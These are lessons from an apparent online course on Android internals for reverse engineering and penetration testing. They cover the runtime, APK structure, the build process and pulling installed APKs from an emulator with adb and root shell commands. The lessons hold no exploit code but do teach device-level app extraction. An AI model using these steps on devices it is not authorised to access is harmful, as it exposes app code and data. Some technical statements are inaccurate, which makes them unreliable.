Android Architecture & App Fundamentals Lesson 1 of 38
In Progress

Fundamental Concepts that Power the Android Ecosystem

Hello everyone, welcome back again! In today's article, we're delving into some fundamental concepts that power the Android ecosystem.

Get ready to unravel these essential building blocks of the Android world!

Let's jump right in without any delay and break down each of these concepts.

Understanding the Zygote Process: How Apps Start on Android?

As the Android Operating System comes to life, a crucial player enters the stage – the Zygote process. This process is like a guardian that waits for new app launch requests. Whenever you tap on an app icon, Zygote takes the lead in getting it up and running. Imagine it as the app-launching maestro.

Zygote employs a clever trick. When it's time to launch a new app, it makes a copy of itself using a technique known as a fork system call. This duplication process happens lightning-fast, ensuring quick app launches. This approach also makes things efficient since the new app process shares resources with the parent Zygote.

Now, picture this: the freshly initiated app process is like a canvas being prepared for a masterpiece. It loads up all the essential code required to bring the app to life. And remember those classes.dex files we talked about earlier? They contain the app's bytecode that's compatible with the Dalvik Virtual Machine.

But wait, there's more! In Android devices from version 5.0 onwards, things get even smarter. The default runtime environment becomes ART (Android Runtime). Here, are the classes.dex file undergoes a transformation. It's converted into something called OAT using a tool named dex2oat. This clever conversion optimizes performance and helps your app run smoothly.

So, the next time you tap on an app and it swiftly appears on your screen, you'll know that the Zygote process played a crucial role in making it happen!

Understanding Garbage Collection in Java

Now, let’s understand the Garbage Collection in Java.

In Java, an automatic garbage collection mechanism is employed to manage memory. This mechanism is responsible for reclaiming memory that is no longer needed within a managed memory environment.

The primary objectives of garbage collection are twofold: firstly, to identify data objects in a program that are no longer accessible in the future, and secondly, to free up the resources occupied by these objects. Objects can belong to different generations, such as active, younger, older, and permanent generations. The time taken by the garbage collector varies depending on the generation to which an object belongs.

Comparing this to manual garbage collection, where it's the user or programmer's responsibility to release memory, automatic garbage collection offers both advantages and disadvantages. On the positive side, it enhances performance by efficiently freeing up memory. However, since it operates automatically, the timing of memory reclamation is beyond the user's control. For instance, if the collector initiates its task during a critical operation, it might impact performance negatively.

What is ART – Modern Android Runtime?

Let's delve into the world of ART - the new Android Runtime. ART was first introduced in Android 4.4 as an optional runtime environment, allowing users to choose it from developer options on their devices. Starting from Android 5.0 (Lollipop), Google made ART the default runtime.

ART operates by transforming an application's bytecode into native machine code during installation on the user's device. This process is known as ahead-of-time compilation. 

In contrast, before ART's introduction, Dalvik used to convert bytecode to native code at runtime, in what's called the JIT (Just-in-Time) approach. The noteworthy advantage of ART lies in its approach to bytecode conversion. 

Unlike the JIT approach, ART doesn't need to convert bytecode into machine code every time the app launches; this is already accomplished during the app's installation. 

Although this might result in a slight delay during the first run, it leads to substantial performance enhancements and improved battery life in subsequent runs.

Decoding ANDROID JIT (Just-In-Time Compilation)

Within the Android runtime (ART), a just-in-time (JIT) compiler plays a pivotal role by continually enhancing the performance of Android applications during their execution.

Here's how the JIT compilation process unfolds: 

When a user initiates an app, ART internally loads the .dex file. If a .oat file (the Ahead-Of-Time binary for the .dex file ) is available, ART directly employs it. 

However, these .oat files, which contain pre-compiled AOT binary code, may not always be present. In such cases, ART resorts to JIT compilation, along with an interpreter, to execute the .dex file.

The JIT profile data, accumulated during app usage, gets stored in a system directory accessible only to the application. This profile data guides the AOT compilation (performed by the dex2oat daemon) in parsing and driving the compilation process.

In essence, the Android JIT mechanism dynamically optimizes the execution of apps through on-the-fly compilation, refining performance and responsiveness.

Dalvik Virtual Machine (DVM)

A Virtual Machine (VM) is a simulated computer system that mimics the functions of a real computer. It's crafted using the physical components such as the hard disk, CPU, RAM, and other resources available on the host machine. Through virtualization, you can set up multiple guest operating systems on a single host operating system. Hypervisors, commonly used, help in creating VMs either through full virtualization or para-virtualization methods.

Typically, standard Java applications follow a common procedure for executing Java programs. First, the source code file with the ".java" extension is compiled, resulting in the creation of intermediate code known as bytecode. This bytecode is saved with a " .class " extension. To execute this code, Java interpreter tools come into play.

However, in the modern context, the Java Virtual Machine (JVM) is designed for high performance and boasts efficient memory management. Nonetheless, there's a need to tailor it for low-powered handheld devices too. Consequently, it's re-engineered to accommodate mobile devices and their applications.

When bytecode is executed using the Java Interpreter and JVM, a pivotal role is assumed by the Just-in-time (JIT) compiler. This compiler translates bytecode into machine code. In contrast to languages like C or C++, which involve creating multiple .obj files and linking them with a linker, Java simplifies this process by omitting the linking step.

Tailored specifically for Android, the  Dalvik Virtual Machine (DVM)  emerges as a specialized VM optimized for mobile devices. It places emphasis on memory efficiency, battery life, and overall performance. Interestingly, the moniker " Dalvik " takes inspiration from a town in Iceland. The visionary responsible for shaping the Dalvik VM is  Dan Bornstein.

Within the Android ecosystem, the Dex compiler handles the conversion of class files into .dex files, compatible with the Dalvik VM. It's notable that a multitude of class files consolidate into a single dex file, streamlining the workflow.

Throughout the compilation journey of the Dalvik VM, optimization is at the forefront. The focus lies on enhancing app performance, efficiency, and overall functionality, contributing to a more seamless user experience.

In the realm of the Android platform, the Dalvik VM assumes its role. It operates as an interpreter-only VM, executing files in the Dalvik Executable (.dex) format. This format is designed for efficient storage and memory-mappable execution. Operating on a register-based structure, it can handle classes transformed by a Java language compiler, converted into its native format using the " d8 " tool. 

The VM functions atop POSIX-compliant OSs, relying on them for underlying functionality such as threading and low-level memory management. The Dalvik core class library aims to provide a familiar development foundation for those accustomed to programming with Java Standard Edition. However, it is tailored specifically to meet the requirements of small mobile devices. 

In this article, we have covered the fundamental concepts that underpin the Android ecosystem. In our next article, we delve into understanding Android app sandboxing. 

If there are any queries, then write them in my comment section.

Android Architecture & App Fundamentals Lesson 2 of 38
In Progress

Fundamental Aspects and Structure of Android Apps

Hello everyone, welcome back to our latest article! Today, we're diving deep into the fundamental aspects of Android Apps. Our focus will be on unraveling the core concepts that lay the groundwork for Android app development.

Every app that we download and install from the Play Store or any other source, comes with the ".apk" extension, indicating that they are compressed archive files. These APK files encompass various files and folders, which we'll explore shortly in this article.

As we go about our digital lives, it's common to download these apps and set them up by granting the required permissions before diving in. But today, we're shifting our attention to the technical side. We're about to peel back the layers to understand what's tucked away inside these apps, how they're packaged, and the intriguing sequence of events when we hit that "Install" button.

Structure of Android Apps

Let's start by getting a solid grip on the structure of Android Apps:

Imagine for a moment the final product that you, as an end user, interact with. As mentioned earlier, Android apps come wrapped in a package denoted by the ".apk" extension, a shorthand for the Android Application Package. 

These packages, much like treasure chests, hold an array of files and folders. It's what end users and those delving into penetration testing receive.

Given that Android apps are essentially archive files, you can unleash their contents using any traditional extraction tools. 

This diagram paints a clear picture of the folder structure once the APK file is unzipped. 

This structural layout is a constant across different APKs, occasionally sporting slight variations like an added "/lib" folder when supplementary libraries are part of the app's ensemble.

Let's explain it down with a step-by-step approach to un-compress an APK file:

Step-by-step approach to un-compress an APK file

Here, we have a file named "test.apk" residing in the Kali home directory. 

The first step is to modify the file extension from ".apk" to ".zip".

In a Linux system, run, the following command, to extract the content.

┌──(kali㉿kali)-[~]
└─$ unzip -d test test.zip
If you are on a Windows system, you can use 7-Zip, WinRAR, or any other similar tool to extract the contents.

After the extraction process, a world of files and directories unfolds before us. These include “AndroidManifest.xml”, “classes.dex”, “Res”, “Assets”, and “META-INF”.

Now, let's delve into what's hidden within each of these files and folders:

  1. AndroidManifest.xml: Think of this as the app's information hub. It not only houses configuration details but also the app's very identity. From the package name to insights about app components, security settings, permissions requested, and much more, this file is the keeper of app essentials.
  2. classes.dex: Imagine this as the app's translator. It holds the Dalvik Bytecode – a transformed version of the developer's source code. When the app runs, this DEX file takes the stage, executing the app's functionality on the device. Later in another article, we'll even explore how to manually create and run this DEX file on an Android device.
  3. resources.arsc: Here, we find the app's compiled resources. It's like a treasure chest of assets that the app requires to function seamlessly.
  4. Res\ Folder: Within this folder, you'll find the raw materials that bring your app's visual and creative elements to life. Think of images, icons, and other graphical assets that add sparkle to your app.
  5. Assets Folder: This folder acts like a secret stash. Developers can tuck away files of their choosing – be it music, articles, databases, and more. These files become part and parcel of the app, bundled together for a cohesive experience.
  6. META-INF\ Folder: Here lies the app's virtual identity card. Not only does it hold the application certificate, but it also contains the SHA1 digests of all files used within the app. It's a behind-the-scenes security feature that ensures the app's integrity.

By peeking inside these files and folders, we're unearthing the intricate framework that shapes an app's functionality and structure.

 This is all about the fundamentals of Android Apps! In this article, we've covered the groundwork by understanding the essential structure of Android apps and delving into what lies within an APK file, as well as how to unzip it.

In our upcoming article, we'll take the next step and explore different storage spots for Android apps. We'll even dive into the techniques of extracting both preinstalled apps and those personally installed by users. So, stay tuned for that!

For now, it's time to bid farewell. If you have any questions or thoughts about this article, feel free to drop them in the comment section. Until next time, take care and goodbye!

Android Architecture & App Fundamentals Lesson 3 of 38
In Progress

Fundamental Building Blocks of Android Apps

Hey there, welcome back to our new article series! Today, we're taking a deep dive into the inner workings of Android apps. We'll break down how these apps are built behind the scenes, what goes on during installation on your device, and how they actually run. These insights provide a solid foundation for understanding reverse engineering and penetration testing of Android apps.

Throughout this playlist, we'll cover a variety of important subjects, including:

This section will delve into the fundamental concepts that form the foundation of Android app development.


Fundamental aspects of Android apps
Understanding APK File Storage and Extraction
Exploring Android App Components

In this section, we are going to uncover the steps that lead from source code to the final executable APK.


Android App Build Process
Building DEX files from the command line

In this section, we will help us Gain insights into the inner workings of Android apps once they're installed on devices and we are going to explore the Dalvik Virtual Machine and Android Runtime, where we are going to take a closer look at the key players in the execution of apps.


Fundamental concepts that power the Android ecosystem
Understanding the Zygote Process: How an Apps Start on Android?
Understanding Garbage Collection in Java
What is ART – Modern Android Runtime?
Decoding ANDROID JIT (Just-In-Time Compilation)
Dalvik Virtual Machine (DVM)

In this section, we are going to explore the Android App Sandboxing, where, we'll distinguish between the sandboxes of Android and Linux environments, and we'll also explore the possibility of breaking out from these sandboxes.


Understanding app sandboxing

By the end of this article, you'll have a thorough understanding of the core principles driving Android app development, execution, and analysis. This knowledge equips you for further exploration into advanced topics like reverse engineering, pen testing, and more within the Android app ecosystem. Thanks for joining us on this journey! 

Android Architecture & App Fundamentals Lesson 4 of 38
In Progress

Exploring Android App Components: A Practical Guide

Hello everyone! Today in this article, we'll be uncovering the fundamental components of Android apps and breaking them down for easy understanding. Let's dive right in.

Android apps typically consist of four main components: 

  • Activities
  • Services
  • Broadcast Receivers 
  • Content Providers

Let's take a closer look at each of these components:

Activities

An activity is like a window that users can interact with to perform tasks. It might contain multiple fragments that handle specific parts of the interface. For example, think of the login screen of a social media app.


Services

Services are behind-the-scenes workers that handle tasks without a user interface. An example is a music app that keeps playing music even if you switch to a different app or lock your screen.

Broadcast Receivers

Broadcast receivers listen for system-wide announcements, such as a low battery warning or device booting up. Apps can also create their own broadcasts. They help an app respond to specific events.


Content Providers

Content providers manage data and make it available to other apps. They use methods like insert(), query(), update(), and delete() to interact with the data. Each content provider has a unique URI, allowing apps with proper permissions to access and share data. An example is accessing SMS messages using the content://sms/inbox URI.

And that's a wrap on the basics of Android app components!

In our next article, we will be going to cover. If you have any questions or need further clarification, feel free to leave a comment in the section below.

In our next article, we'll delve into the process of building Android apps, illustrated through an example. 

If you have any queries or require additional explanations, don't hesitate to leave a comment in the section below.

Android Architecture & App Fundamentals Lesson 5 of 38
In Progress

Process of Constructing Android Apps

Throughout our previous discussions, our focus has been primarily on APK files. Hello everyone! Welcome back to a new article. In this article, we'll unravel the intricate process of constructing Android apps. It's crucial to comprehend the inner workings that lead to the creation of these APK files. 

When a developer engages with an Integrated Development Environment (IDE) like Android Studio, they typically undertake the following steps at a high level:

  1. Install Android Studio
  2. Create a New Project
  3. Choose Project Template
  4. Configure Project Settings
  5. Design User Interface (UI)
  6. Write Code
  7. Add Resources
  8. Build Gradle Files
  9. Run and Debug
  10. Optimize and Test
  11. Generate Signed APK
  12. Package Resources
  13. Align and Optimize
  14. Install and Test
  15. Publish or Share

For a more profound understanding, I invite you to read this article. In it, I've taken the initiative to craft a prototype Android application using Android Studio.


This article reveals that an Android project generally encompasses Java source code, which is subsequently compiled into a binary form called "classes.dex." Additionally, there's the binary representation of the "AndroidManifest.xml" file and various other resources that harmonize during the compilation and packaging phases.

Upon reaching completion, the app necessitates the developer's digital signature for verification. At this point, it becomes primed for installation and execution on a device.

While this may seem straightforward from a developer's perspective, it encompasses intricate processes behind the scenes. 

Mechanics of the entire build system to gain a more comprehensive insight


  1. The opening act of the build process revolves around compiling essential resource files like AndroidManifest.xml and other XML files. These files are pivotal for crafting the user interface of activities. The mastermind behind this operation is none other than Aapt (Android Asset Packaging Tool). This magician conjures up a file named R.java, home to a set of constants that serve as our gateway to referencing them in our Java code.
  2. In case the project incorporates .aidl (Android Interface Definition Language) files, these undergo a transformation orchestrated by the aidl tool. It metamorphoses them into .java files. AIDL files commonly find their purpose when we grant permission to clients from diverse applications to tap into our service for Inter-Process Communication (IPC), and when the need arises to navigate the intricacies of multithreading within the service.
  3. With our Java files fully prepared for compilation, we move forward. The Java compiler, commonly referred to as Javac, undertakes the task of processing these Java files and generating corresponding .class files.
  4. As we make progress, the subsequent step entails the transformation of these .class files into .dex files. This conversion process is performed using the dx tool (although in recent times, d8 is more commonly used for this purpose). The result of this stage is the creation of a solitary DEX file, denoted as classes.dex.
  5. Subsequently, the classes.dex file produced in the preceding phase, in combination with resources that remain uncompiled (such as images), as well as compiled resources, are ushered into the realm of the Apk Builder tool. Here, these components are methodically woven together, culminating in the creation of an APK file.
  6. To install the APK file on an Android device or emulator, it's essential to sign it with either a debug or release key. During the development phase, the IDE signs the app with a debug key to facilitate testing. This signing procedure can also be performed manually through the command line, utilizing tools like Java Keytool and Jarsigner.
  7. As the application nears its final release, it must be signed with a release key. Once the app is signed with a release key, it needs to undergo alignment using the Zipalign tool. This alignment enhances memory optimization while the app runs on the device, ensuring smoother performance.

All these processes unfold behind the scenes to generate the APK files. 

In our upcoming article, we'll delve into the creation of DEX files through command-line operations. Until then, farewell.

If you have any questions or doubts about this article, feel free to share them in the comment section below.

Android Architecture & App Fundamentals Lesson 6 of 38
In Progress

Build Your First Android App with Android Studio

Now that you've got all the tools and the Android SDK installed, it's time to get started! Just like in many programming books, we'll begin with a classic: the HelloWorld application. This will help you explore the different parts that make up an Android project. So, without any delay, let's jump right in!

In our earlier article, we successfully installed "Android Studio." In case you haven't installed Android Studio yet, I recommend you to read this article for guidance.

A program typically does something with data, and an Android app is no different. It processes information, displays content on the screen, and gathers data from various sources. Developing Android apps for devices with limited resources requires understanding the application lifecycle. In this unit, you'll get to know the essential components of Android apps and learn how to create and run one.

Building a sample Android application using Android Studio

Before diving into complex app development, it's important to make sure that all the necessary development packages are installed and working correctly. The easiest way to do this is by creating a basic Android app, compiling it, and running it

Let's walk through the steps of creating a simple Android app project using Android Studio. Once the project is set up, we'll later explore using the Android emulator to test the app.

Creating a New Android Project

The initial and foremost step in creating your app involves setting up a new project within the Android Studio environment. 

To begin, open Android Studio. 

As soon as you launch the application, you'll be greeted by the "Welcome to Android Studio" screen.

Moving forward, our next step involves generating a new project. 

Simply click on the "New project" option. This action will open up a selection of templates. 

Choose the "Phone and Tablet" category, and then select the "Empty Views Activity" template. Once you've made your selection, click "Next" to continue.

In the New Project window, you'll find a field labeled "Application name," and enter "HelloWorld" as the name of your application. 

This name will be used to identify your app within Android Studio and will also be displayed when your fully developed app is available on the Google Play store.

The Package Name serves as a unique identifier for your application within the larger Android application environment. To create this name, use a pattern based on the reverse URL of your domain name combined with your app's name. 

For example, if your domain is www.example.com, and your app is named HelloWorld, your package name could be "com.example.HelloWorld". This distinctive package name ensures that your app stands out within the Android ecosystem.

The default Project location is initially set to a directory called "Android Studio Projects" within your home folder. Nevertheless, you have the option to modify this location by clicking the button located to the right of the current path field. 

Once you've determined the desired location, proceed to select the Programming Language. Although Android Studio offers various language options, I recommend choosing Java.

Set the minimum SDK version to API 16, which corresponds to Android 4.1 (Jelly Bean). Opting for an older SDK version ensures compatibility across a wider range of Android devices. 

Keep in mind that selecting a higher minimum SDK version limits the app's compatibility with newer devices.

Once these settings are configured, click on "Finish" to initiate the project creation process. 

Upon clicking "Finish," Android Studio will automatically download the necessary resources, and this step may take some time to set up the project files.

Running the HelloWorld Application

With your project now set up, it's time to take your first step into running your Android app!

In the top bar of Android Studio, you'll find a selection of Android virtual devices. Choose the one that suits your needs, or connect your physical device via Wi-Fi

Following this, locate and click the "Run App" button in the taskbar.

Allow a moment for the Android emulator to initialize. Once it's up and running, Android Studio will automatically deploy your app onto the selected virtual device.

With the application launched, you'll witness it on the screen. For a clearer understanding, you can refer to the visual illustration provided.

To exit the application, simply click the Home button on the emulator. 

Upon accessing the Application Drawer, you'll notice the installed applications, which mirror the image provided.

If you find yourself with several compatible AVDs in operation, Android Studio will open the Android Device Chooser window. Within this tool, you have the freedom to select the particular emulator or device you intend to use for debugging your application.

If there is any uncertainties or questions arise, feel free to share them in the comments section below. Your inquiries are most welcome!

Android Architecture & App Fundamentals Lesson 7 of 38
In Progress

Understanding APK File Storage and Extraction

Hello everyone, welcome to our latest article all about Android Reverse Engineering and Penetration Testing. Today, we're embarking on a journey to uncover the secrets behind APK files' storage locations and understand the way to extract apps both pre-installed and user-installed. Let's jump right in!


Understanding the Storage location of APK files

On Android devices, where an app is installed and any extra settings during installation play a role in determining the storage location. 

We're about to take a meticulous look at these distinctive storage spots. Let's dissect them one by one.

But before we proceed, let's establish a connection with my Android virtual device using the adb connect command. 

┌──(kali㉿kali)-[~]
└─$ adb connect 192.168.95.118:5555 
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.95.118:5555
┌──(kali㉿kali)-[~]
└─$ 

Then, by running adb devices, we can verify if our device is successfully connected or not.

┌──(kali㉿kali)-[~]
└─$ adb devices                    
List of devices attached
192.168.95.118:5555     device

┌──(kali㉿kali)-[~]
└─$

Now, let me run adb shell command to transition into shell mode. 

┌──(kali㉿kali)-[~]
└─$ adb shell  
x86_64:/ $ 

This prepares us to thoroughly explore the storage locations of APK files.

/data/app/ directory

Let’s start with the /data/app/ directory:

x86_64:/ $ cd /data/app                                                                                                          
x86_64:/data/app $

To get a glimpse of the files and directories within, simply run the ls –l command. 

x86_64:/data/app $ ls -l
ls: .: Permission denied
1|x86_64:/data/app $ 

Running the ls –l command prompts a " Permission denied error ." To overcome this, we'll elevate to super user mode with the su command.

1|x86_64:/data/app $su 
x86_64:/ # 

Now, we have super user permission, let's run again to find out what are there:

x86_64:/ # cd /data/app
x86_64:/data/app # ls -l
total 16
drwxr-xr-x 4 system system 4096 2023-08-22 17:36 com.facebook.lite-HOzj-KlLSs8knyAm9oyDBA==
drwxr-xr-x 4 system system 4096 2023-08-22 17:36 com.instagram.lite-pXQ8LaWd93eEoJkAhfviGQ==
drwxr-xr-x 4 system system 4096 2023-08-22 17:36 com.jetstartgames.chess-AWAN-L4GToOwbH3oP1MY5A==
drwxr-xr-x 4 system system 4096 2023-08-22 15:18 heartratemonitor.heartrate.pulse.pulseapp-pHRLtmkTB0aobGYX2BbM2g==
x86_64:/data/app # 

This location is where user-installed apps find their place. A closer examination of the file permissions unveils intriguing insights. Take a look at this highlighted passage, showcasing that these files are world-readable. This means anyone can copy them without the need for elevated privileges.

This glimpse into the world of APK files beneath the /data/app/ directory showcases their world-readable permissions, providing us with a captivating peek into the Android app landscape.

/system/app directory

Now, let's journey over to the /system/app/ directory:

x86_64:/data/app # cd /system/app                                                                                                 
x86_64:/system/app # ls -l                                                                                                         
total 152                                                                                                                          
drwxr-xr-x 2 root root 4096 2019-01-15 07:37 AndroidTerm                                                                           
drwxr-xr-x 3 root root 4096 2019-01-15 11:31 BasicDreams                                                                           
drwxr-xr-x 3 root root 4096 2019-01-15 11:31 BasicSmsReceiver                                                                      
drwxr-xr-x 4 root root 4096 2019-01-15 11:33 Bluetooth                                                                             
drwxr-xr-x 3 root root 4096 2019-01-15 11:31 BluetoothMidiService                                                                  
drwxr-xr-x 3 root root 4096 2019-01-15 11:31 BookmarkProvider                                                                      
drwxr-xr-x 4 root root 4096 2019-01-15 11:32 BuiltInPrintService                                                                   
drwxr-xr-x 3 root root 4096 2019-01-15 11:33 Calendar                                                                              
drwxr-xr-x 4 root root 4096 2019-01-15 11:34 Camera2                                                                               
drwxr-xr-x 3 root root 4096 2019-01-15 11:31 CaptivePortalLogin                                                                    
drwxr-xr-x 3 root root 4096 2019-01-15 11:31 CarrierDefaultApp                                                                     
drwxr-xr-x 3 root root 4096 2019-01-15 11:31 CertInstaller                                                                         
drwxr-xr-x 3 root root 4096 2019-01-15 11:31 CompanionDeviceManager                                                                
drwxr-xr-x 2 root root 4096 2019-01-15 07:37 CtsShimPrebuilt                                                                       
drwxr-xr-x 3 root root 4096 2019-01-15 11:34 DeskClock                                                                             
drwxr-xr-x 3 root root 4096 2019-01-15 11:31 Development                                                                           
drwxr-xr-x 3 root root 4096 2019-01-15 11:32 DownloadProviderUi                                                                    
drwxr-xr-x 3 root root 4096 2019-01-15 11:34 EasterEgg
drwxr-xr-x 3 root root 4096 2019-01-15 11:33 ExactCalculator
drwxr-xr-x 4 root root 4096 2019-01-15 11:33 Gallery2
drwxr-xr-x 3 root root 4096 2019-01-15 07:37 GoogleCalendarSyncAdapter
drwxr-xr-x 3 root root 4096 2019-01-15 07:37 GoogleContactsSyncAdapter
drwxr-xr-x 3 root root 4096 2019-01-15 07:37 GoogleExtShared
drwxr-xr-x 3 root root 4096 2019-01-15 07:37 GooglePrintRecommendationService
drwxr-xr-x 3 root root 4096 2019-01-15 11:32 HTMLViewer
drwxr-xr-x 3 root root 4096 2019-01-15 11:32 KeyChain
drwxr-xr-x 4 root root 4096 2019-01-15 11:34 LatinIME
drwxr-xr-x 3 root root 4096 2019-01-15 11:34 LiveWallpapersPicker
drwxr-xr-x 2 root root 4096 2019-01-15 11:32 NotePad
drwxr-xr-x 4 root root 4096 2019-01-15 11:32 PacProcessor
drwxr-xr-x 3 root root 4096 2019-01-15 11:31 PartnerBookmarksProvider
drwxr-xr-x 4 root root 4096 2019-01-15 11:32 PicoTts
drwxr-xr-x 4 root root 4096 2019-01-15 11:34 PrintSpooler
drwxr-xr-x 2 root root 4096 2019-01-15 11:32 RSSReader
drwxr-xr-x 3 root root 4096 2019-01-15 11:32 UserDictionaryProvider
drwxr-xr-x 3 root root 4096 2019-01-15 11:32 WallpaperBackup
drwxr-xr-x 3 root root 4096 2019-01-15 11:34 WallpaperPicker
drwxr-xr-x 2 root root 4096 2019-01-15 07:53 WebViewGoogle
x86_64:/system/app # 

This is where the apps that come bundled with the system image find their residence. Let's take a closer look at the file permissions governing these apps within this directory. A quick overview reveals that all these files are also set as world-readable. This means that anyone can duplicate them without needing additional privileges:

This snapshot lays bare the world-readable permissions that characterize the APK files in the /system/app/ directory . It's an insightful glimpse into how the Android system stores and manages its bundled apps.

/data/app-private directory

Now, let's take a look at the /data/app-private/directory:

x86_64:/system/app # cd /data/app                                                                                                
app-asec/       app-ephemeral/  app-lib/        app-private/    app/                                                               
x86_64:/system/app #cd /data/app-private/                                                                                        
x86_64:/data/app-private # ls -l                                                                                                   
total 0                                                                                                                            
x86_64:/data/app-private #

When we run the ls -l command here, it doesn't reveal any visible content. However, this is the space where apps that demand an extra layer of copy protection on the device typically reside.

For users without the necessary privileges, copying apps from this location isn't straightforward. Yet, if we gain root access to the device, it's still possible to extract these APKs, granting us access to their contents. This adds an intriguing layer of security and access control for these specific apps.

Extracting Android Apps: A Step-by-Step Guide

Now, let's explore the process of extracting an app from the device. This process essentially breaks down into three simple steps:
  1. Find the Package Name
  2. Locate the APK Path 
  3. Pulling it Out

Let's put this into practice. Allow me to demonstrate with an example from my Android device, which is running on VirtualBox.

Example of extracting pre-installed apps

If we happen to know the app's name, we can deploy the adb shell pm list packages | grep "app_name" command. This action unveils the precious package name we're looking for.

┌──(kali㉿kali)-[~]
└─$ adb devices                            
List of devices attached
192.168.95.118:5555     device

┌──(kali㉿kali)-[~]
└─$ adb shell pm list packages | grep calculator
package: com.android.calculator2
┌──(kali㉿kali)-[~]
└─$ 

With the package name in hand, the next stride involves discovering the path of the associated APK. This can be accomplished using the adb shell pm path [package_name] command.

┌──(kali㉿kali)-[~]
└─$ adb shell pm path com.android.calculator2   
package:/system/app/ExactCalculator/ExactCalculator.apk

┌──(kali㉿kali)-[~]
└─$ 

As expected, it is located under the /system/app/ directory since it is a preinstalled application. The final piece of the puzzle involves pulling it out from the device. We achieve this by executing the adb pull /system/app/[file.apk] command.

┌──(kali㉿kali)-[~]
└─$ adb pull /system/app/ExactCalculator/ExactCalculator.apk   
/system/app/ExactCalculator/ExactCalculator.apk: 1 file pulled, 0 skipped. 4.6 MB/s (389605 bytes in 0.081s)
┌──(kali㉿kali)-[~]
└─$  

Extracting user-installed apps

Now, let’s take a quick example of extracting user-installed apps:

This process follows a similar trajectory as with preinstalled apps, if we know the name of the app, we can use the previous commands to extract user-installed apps. 

However, in my Android VirtualBox emulator, there aren't any user-installed apps yet. I'll address this by manually installing one. But, there's a catch: the emulator lacks the Play Store. Therefore, we'll need to install the apps from the browser.

So, how can we obtain an APK file?

If we want to acquire a specific APK file of our choice, we can download it directly by visiting the Play Store web page. Simply copy the app's ID or complete URL from the URL bar of the browser. 

Then, visit http://apps.evozi.com/apk-downloader/, and paste the copied ID or URL. This enables you to download the APK file. 

Let me download it and install the downloaded APK file on the Android device using the adb install command. 

┌──(kali㉿kali)-[~]
└─$ cd Downloads 
┌──(kali㉿kali)-[~/Downloads]
└─$ ls
 heartratemonitor.heartrate.pulse.pulseapp_7_apps.evozi.com.apk
┌──(kali㉿kali)-[~/Downloads]
└─$ adb install heartratemonitor.heartrate.pulse.pulseapp_7_apps.evozi.com.apk 
Performing Streamed Install
Success
┌──(kali㉿kali)-[~/Downloads]
└─$ 

Now, the application is installed, and we are ready to continue our example:

First, let me run adb shell pm list packages | grep "your app" command to find the package name of the application installed by the user.

┌──(kali㉿kali)-[~]
└─$ adb shell pm list packages | grep "heartrate"
package:heartratemonitor.heartrate.pulse.pulseapp
┌──(kali㉿kali)-[~]
└─$ 

Well, as you can see, we have got the package name. We can use the adb shell pm path [package name] command to find its APK path.

┌──(kali㉿kali)-[~]
└─$ adb shell pm path heartratemonitor.heartrate.pulse.pulseapp
package:/data/app/heartratemonitor.heartrate.pulse.pulseapp-SOfFvOJSSHEE5DtF176GVA==/base.apk
┌──(kali㉿kali)-[~]
└─$

In this scenario, the APK resides in the /data/app/ directory , as it's a user-installed application. Lastly, we can extract this app from the device using the adb pull /data/app/[file.apk] command, much like we did earlier with preinstalled apps.

┌──(kali㉿kali)-[~]
└─$ adb pull /data/app/heartratemonitor.heartrate.pulse.pulseapp-SOfFvOJSSHEE5DtF176GVA==/base.apk
/data/app/heartratemonitor.heartrate.pulse.pulseapp-SOfFvOJSSHE... 1 file pulled, 0 skipped. 62.5 MB/s (10004359 bytes in 0.153s)
┌──(kali㉿kali)-[~]
└─$ 

One important point to note is that the location of APK files might differ slightly on the latest versions of Android devices. In my testing emulator, each APK possesses its own directory within /data/app/ for user-installed apps and /system/app/ for pre-installed ones. 

This ensures a more organized and manageable file structure.

Additionally, if you navigate to the /data /dalvik-cache/ directory after running the adb shell command, you might come across optimized dex files.

┌──(kali㉿kali)-[~]
└─$ adb shell                   
x86_64:/ $ su
x86_64:/ # cd /data/dalvik-cache

In the x86_64 architecture within the /data/dalvik-cache/ directory , you have two subdirectories: x86 and x86_64. 

x86_64:/ # cd /data/dalvik-cache
x86_64:/data/dalvik-cache # ls -l
total 24
drwx--x--x 2 root root  4096 2023-08-22 09:50 x86
drwx--x--x 2 root root 20480 2023-08-22 09:50 x86_64
x86_64:/data/dalvik-cache #

These directories contain the optimized .dex (Dalvik Executable) files (.dex) and the verification data files (.vdex) for various apps and frameworks.

x86_64:/data/dalvik-cache # cd x86_64/                                         
x86_64:/data/dalvik-cache/x86_64 #ls -al
total 102640
drwx--x--x 2 root   root        20480 2023-08-22 09:50 .
drwxrwx--x 4 root   root         4096 2020-03-07 03:07 ..
-rw-r----- 1 system all_a36      8192 2023-08-22 09:49 system@app@BasicDreams@BasicDreams.apk@classes.art
-rw-r----- 1 system all_a36     17024 2019-01-15 11:31 system@app@BasicDreams@BasicDreams.apk@classes.dex
-rw-r----- 1 system all_a36     15952 2023-08-22 09:49 system@app@BasicDreams@BasicDreams.apk@classes.vdex
-rw-r----- 1 system all_a35      8192 2023-08-22 09:49 system@app@BasicSmsReceiver@BasicSmsReceiver.apk@classes.art
-rw-r----- 1 system all_a35     17024 2019-01-15 11:31 system@app@BasicSmsReceiver@BasicSmsReceiver.apk@classes.dex
-rw-r----- 1 system all_a35      7720 2023-08-22 09:49 system@app@BasicSmsReceiver@BasicSmsReceiver.apk@classes.vdex
-rw-r----- 1 system u0_a31002  581632 2023-08-22 09:50 system@app@Bluetooth@Bluetooth.apk@classes.art
-rw-r----- 1 system u0_a31002   78464 2019-01-15 11:33 system@app@Bluetooth@Bluetooth.apk@classes.dex
-rw-r----- 1 system u0_a31002 3446650 2023-08-22 09:50 system@app@Bluetooth@Bluetooth.apk@classes.vdex
-rw-r----- 1 system all_a38      8192 2023-08-22 09:50 system@app@BluetoothMidiService@BluetoothMidiService.apk@classes.art
-rw-r----- 1 system all_a38     17024 2019-01-15 11:31 system@app@BluetoothMidiService@BluetoothMidiService.apk@classes.dex
-rw-r----- 1 system all_a38     19518 2023-08-22 09:50 system@app@BluetoothMidiService@BluetoothMidiService.apk@classes.vdex
-rw-r----- 1 system all_a37      8192 2023-08-22 09:50 system@app@BookmarkProvider@BookmarkProvider.apk@classes.art
-rw-r----- 1 system all_a37     17024 2019-01-15 11:31 system@app@BookmarkProvider@BookmarkProvider.apk@classes.dex
-rw-r----- 1 system all_a37      1580 2023-08-22 09:50 system@app@BookmarkProvider@BookmarkProvider.apk@classes.vdex
-rw-r----- 1 system all_a39     12288 2023-08-22 09:49 system@app@BuiltInPrintService@BuiltInPrintService.apk@classes.art
